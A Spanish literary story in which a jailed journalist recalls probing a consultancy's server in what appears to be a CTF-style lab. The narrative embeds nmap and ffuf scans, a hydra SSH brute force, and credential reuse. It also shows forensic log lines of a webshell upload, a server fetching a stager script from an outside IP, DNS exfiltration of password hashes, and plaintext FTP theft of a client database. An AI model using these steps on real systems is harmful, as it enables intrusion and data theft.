«Mantén cerca a tus amigos, pero más cerca aún a tus enemigos.» — Michael Corleone (Al Pacino), El Padrino, Parte II
Un túnel es solo un lugar donde algo prohibido viaja disfrazado de algo permitido, y en eso llevo dos semanas pensando cada martes después de la charla con diapositivas, porque aquí adentro también hay un protocolo que nunca se bloquea —la visita, la carta, la hora de patio— por donde a veces se cuela algo que no debería, y del mismo modo un servidor deja pasar cualquier consulta a un dominio sin preguntarse jamás qué esconde el nombre que le piden resolver.
Esto fue antes, semanas antes de lo de Ipeuveseis, cuando Marian y yo todavía podíamos sentarnos los dos frente a la misma pantalla sin una reja de por medio, y nos llegó de la misma fuente clandestina de siempre —el mercado que ya conocíamos por CyberGuard, el mismo que vende bases filtradas y accesos residuales al mejor postor— un dato suelto y feo: alguien había reventado el servidor de una consultora chica de Providencia, «Corriente Digital SpA», comunicación estratégica decían sus tarjetas, y en vez de vaciarla y desaparecer, el intruso se había quedado semanas mirando, como quien encuentra una casa ajena abierta y prefiere estudiar los cajones antes que llevarse la plata del velador.
Alberto fue el que nos lo pasó, con su cautela de siempre, porque si alguien ya estaba adentro de esa consultora antes que nosotros, la pregunta no era solo qué escondía Corriente Digital, sino quién más la estaba mirando y con qué intención, y esa segunda pregunta —quién nos observa cuando creemos ser los únicos observando— es la que últimamente no me deja dormir tranquilo ni aquí ni entonces.
La consultora daba la cara con dos puertos nada más, así que empezamos por lo de siempre, barrer todo antes de suponer nada, porque suponer sin barrer es la manera más rápida de perder una semana entera:
$ nmap -sC -sV -p- --min-rate 2000 -oN loot/nmap-tcp-full.txt 192.168.56.105
22/tcp open ssh OpenSSH 9.2p1
80/tcp open http Apache/2.4.62 -- pagina por defecto, vacia
Nada más, dos puertos, y el nombre con el que la propia consultora se hacía llamar puertas afuera —insistían en que tenían «infraestructura DNS propia», una de esas frases que suenan a más de lo que son— me hizo sospechar que hubiera algo escuchando en el 53, un servidor de nombres de verdad, así que lo comprobamos antes de asumir que era puro marketing:
$ sudo nmap -sU --top-ports 30 -T4 192.168.56.105
53/udp closed -- no hay servidor DNS real escuchando aqui
No había nada, el nombre era puro barniz, la misma consultora que se vendía a sí misma como infraestructura no tenía ni un solo servicio real corriendo detrás de esa palabra, y algo en esa mentira pequeña, gratuita, sin necesidad, ya me decía más de Corriente Digital que cualquier balance financiero que fuéramos a encontrar después: la gente que miente sobre lo que no cuesta nada mentir, generalmente miente peor sobre lo que sí cuesta.
Marian quiso descartar del todo la web pública antes de tocar el SSH, por si la página vacía escondía otro nombre detrás, otro sitio viviendo sobre la misma dirección con un nombre distinto en la cabecera:
$ ffuf -u http://192.168.56.105/ -H "Host: FUZZ.thl" \
-w subdomains-top1million-5000.txt -fs 10701
"results": [] -- ningun vhost, todo cae a la misma pagina vacia
Callejón sin salida, y lo dejamos escrito como tal en vez de fingir que no lo intentamos, porque la próxima persona que mire esto no tiene por qué perder el mismo tiempo que perdimos nosotros comprobando lo mismo dos veces; la web pública no era la puerta, y con eso quedaba solo un servicio vivo por donde entrar.
Corriente Digital, como toda consultora que cree que su verdadero producto es una idea y no un servidor, dejaba pistas del propio lenguaje que usaba puertas adentro esparcidas por su sitio corporativo caído en caché de buscadores: nombres de campañas, apodos internos, la palabra que un funcionario usaría para su propio usuario sin pensarlo dos veces. Con eso armamos un diccionario dirigido, no una lista genérica de catorce millones de líneas:
$ cat candidatos.txt palabras_tema.txt | sort -u > pass.txt
$ hydra -L usuarios.txt -P pass.txt -t 4 -f ssh://192.168.56.105
[22][ssh] login: auditor password: auditor
auditor, la cuenta que alguien deja para que un analista externo entre a mirar sin tocar nada más, y ese nombre solo ya me dijo que no éramos los primeros invitados a esa casa, que a alguien, antes que a nosotros, Corriente Digital le había abierto la puerta a propósito para que revisara un incidente que ya habían sufrido.
$ sshpass -p 'auditor' ssh [email protected] "id; ls -la" uid=1001(auditor) drwxr-xr-x root root incidente_dns/
Cuatro archivos adentro, ninguno con nuestras huellas, todos con las huellas de otro: alguien había entrado antes que nosotros a esa misma consultora, y en vez de robar y desaparecer se había quedado a beber su agua durante semanas, y esos cuatro archivos eran el registro completo de esa sed ajena, así que Marian y yo hicimos lo que hace cualquiera frente a la escena de un crimen que no cometió: leerla entera, en orden, sin adelantarse a ninguna conclusión.
El primer archivo era el tráfico web de meses, miles de líneas de visitantes normales, y adentro, agazapadas, dos líneas que no pertenecían a nadie común:
$ grep -oP '"\K(GET|POST)[^"]+' access.log | sort | uniq -c | sort -rn
1.2.3.4 POST /upload.php
192.168.1.10 GET http://162.248.1.100/p.sh -- el propio servidor, ya infectado, saliendo a buscar el siguiente paso
Una subida de archivo sin nadie que preguntara qué tipo de archivo era, y un segundo después el propio servidor, ya con el webshell adentro, saliendo a buscar su siguiente instrucción a una dirección externa: el clásico primer paso pequeño, un script mínimo que solo trae al que viene después, para que ningún antivirus vea nunca el ataque completo de una sola vez, solo fragmentos inofensivos por separado.
Ese servidor, ya convertido en otra cosa, empezó a llamar a casa, y llamar a casa en esta lengua significa preguntarle al mismo dominio, cada tanto, si hay órdenes nuevas esperando:
$ grep -oP 'Query: A\? \K\S+' dns.log | sort -u
1.beacon.c2.corriente-digital.thl
2.beacon.c2.corriente-digital.thl
3.beacon.c2.corriente-digital.thl
Un contador subiendo de a uno en el propio nombre que preguntaba, para que quien controlara ese dominio supiera, con solo mirar sus propios registros de resolución, cuántas veces había respirado todavía la máquina infectada, sin necesitar responder nada, sin necesitar que nadie sospechara de un simple servidor DNS haciendo lo único que un servidor DNS hace: contestar nombres.
Y entre esas mismas consultas, mezclados a propósito con el ruido de dominios legítimos, había otros nombres larguísimos, sin sentido a simple vista, que no pedían nada, solo lo parecían:
$ echo "cm9vdDokNiRzYWx0eSR...:18000:0:99999:7:::" | base64 -d
root:$6$salty$T.UVs...:18000:0:99999:7:::
Un archivo entero, el más sensible de cualquier máquina Linux, la lista de contraseñas cifradas de cada usuario del sistema, cortado en pedazos, cada pedazo convertido en un nombre de subdominio como si fuera una simple pregunta de a quién pertenece tal dirección, porque nadie audita lo que un DNS resuelve, solo que resuelva rápido, y ese descuido —creer que lo invisible es lo mismo que lo inofensivo— es el que sostiene esta técnica entera: un archivo saliendo de una red entera, disfrazado de curiosidad rutinaria, viajando por el único protocolo que ningún cortafuegos corporativo se anima nunca a bloquear del todo.
Con esas contraseñas robadas, el intruso original tenía trabajo de sobra para crackear tranquilo, sin apuro, y encontró que una cuenta de desarrollo, la de siempre, tenía una contraseña que ya estaba en la misma lista temática que la propia consultora usaba para todo —la reutilización de siempre, la misma palabra sirviendo de llave en dos puertas distintas— y con esa llave entró, no a la web pública, sino a la red interna, al servidor donde de verdad vivían los datos:
$ cat ftp.log
192.168.1.10 -> 10.0.0.50 USER devuser
192.168.1.10 -> 10.0.0.50 PASS developer123
10.0.0.50 -> 192.168.1.10 230 Login successful.
192.168.1.10 -> 10.0.0.50 GET client_database_backup.zip
10.0.0.50 -> 192.168.1.10 226 Transfer complete.
FTP en texto plano, del siglo pasado, cada carácter viajando desnudo por el cable, así que el crimen entero quedó anotado con su propia mano: quién entró, con qué clave, y qué se llevó, y lo que se llevó tenía un nombre que a esa altura de la noche ya no era una sorpresa para nadie: la base de datos de clientes.
Antes de tocar nada más, comprobamos si había un camino más rápido a mayores privilegios, un exploit reciente de kernel que corría por ahí con fama de universal, porque la responsabilidad de investigar no es solo encontrar la puerta, es también no perder tiempo compilando puertas que ya están tapiadas:
$ uname -a 6.1.112-1 -- por encima de la version parchada (6.1.76+) $ sudo -l auditor no puede ejecutar sudo -- sin escalada aqui, y esta bien: el reto real ya esta resuelto arriba
Con lo que ya teníamos alcanzaba, así que abrimos el archivo que el propio intruso original se había llevado, con la misma clave que el mismo log nos había regalado, y adentro no había clientes de verdad, o no solo: había cuentas, cientos, agrupadas por comuna y por franja etaria, cada grupo con un guion de mensaje distinto según a quién iba dirigido, y una hoja aparte, la que de verdad importaba, con el nombre en clave «Marejada» y una cifra mensual pagada por alguien que jamás aparecía nombrado con su nombre completo, solo con la inicial de un aspirante que en ese momento llevaba semanas subiendo en cada encuesta sin que ningún periodista lograra explicar bien por qué.
Marejada. La misma familia de nombres de agua que ya habíamos visto flotar dos veces antes, en el mismo mercado clandestino que nos había pasado este dato: Marea, la vieja operación de desprestigio que Tridente Global ya no podía manejar directamente con su propio nombre; Cardumen, una campaña más reciente, pagada por una inmobiliaria que tampoco figuraba en ningún papel con su nombre completo. Tres nombres de mar saliendo, en distintos momentos, del mismo búnker de campañas para hire de Vicuña Mackenna que nunca habíamos podido tocar directamente, solo rozar por sus clientes, y esa noche, frente a la pantalla, entendí que no estábamos mirando un caso aislado: estábamos mirando, otra vez, la misma marea subiendo por un canal distinto.
No hizo falta interpretar nada más. Cientos de cuentas hablando con el mismo entusiasmo repentino de la misma comuna, en la misma hora, con la misma palabra elegida ese día por alguien en una oficina de Providencia, no es opinión pública, es una orquesta tocando la misma nota disfrazada de coro espontáneo, y quien la paga sabe exactamente lo que compra: la sensación de que una idea es popular antes de que sea siquiera verdadera.
El asesor detrás de todo, el que la propia consultora mencionaba en sus correos internos sin apellido completo, solo como «el uruguayo» —nadie ahí adentro comprobó jamás si de verdad lo era, y a esa altura ya no importaba—, ni siquiera figuraba como empleado formal, solo como una transferencia mensual sin glosa a una cuenta en otro país, la misma prolijidad de quien ya ha tenido que desaparecer de otros papeles antes.
Fue Marian la que se detuvo primero, con el archivo ya abierto, y me hizo la pregunta que yo estaba evitando hacerme: si alguien ya estaba adentro de Corriente Digital antes que nosotros, mirando lo mismo que estábamos mirando ahora, ¿por qué no había publicado nada todavía?, ¿por qué guardar silencio semanas enteras con una prueba así en la mano?, y la única respuesta que se nos ocurrió, la que menos nos gustaba, era la más simple: porque el silencio, bien administrado, vale más que la denuncia, y quien entró primero quizás no quería sacar esto a la luz, quería quedarse con la llave de quién puede apagarla.
Eso nos dejó una noche entera dudando si publicar rápido, antes de que a ese otro intruso se le ocurriera venderle a Corriente Digital su propio silencio, o esperar y confirmar más, arriesgándonos a que la decisión ya no fuera nuestra para tomar. Alberto verificó cada cifra de la planilla, cada comuna, cada monto, durante días, con la paciencia de siempre, y al final decidimos que la luz no espera a que el otro lado termine de decidir qué hacer con la oscuridad: se pelea por ella igual, sin saber si alguien más ya la estaba vendiendo a nuestras espaldas.
Salió publicado sin el nombre completo del aspirante, con las cifras intactas y la palabra «Marejada» como única huella, y durante dos días trending topics enteros se llenaron de cuentas nuevas, recién creadas, defendiendo con el mismo entusiasmo repentino de siempre a la misma consultora que acabábamos de destapar, y ahí entendí que no hay final limpio para esto: se puede prender una luz, pero la misma oscuridad que se alumbra tiene manos propias y las usa para tapar la lámpara apenas uno se da vuelta.
Todavía no sé quién entró primero a esa consultora, ni qué hizo después con lo que encontró antes que nosotros, ni si alguna vez lo sabré desde aquí adentro. Solo sé que esa noche, frente a la pantalla, con Marian al lado revisando la misma planilla dos veces antes de mandársela a Alberto, volví a sentir lo mismo de siempre, lo único que me sostiene también en esta celda cada vez que apago la luz: que se pelea por ella porque es lo único que de verdad sostiene el corazón, aunque nunca alcancemos a ver quién más, en la misma oscuridad, está peleando por razones que no son las nuestras.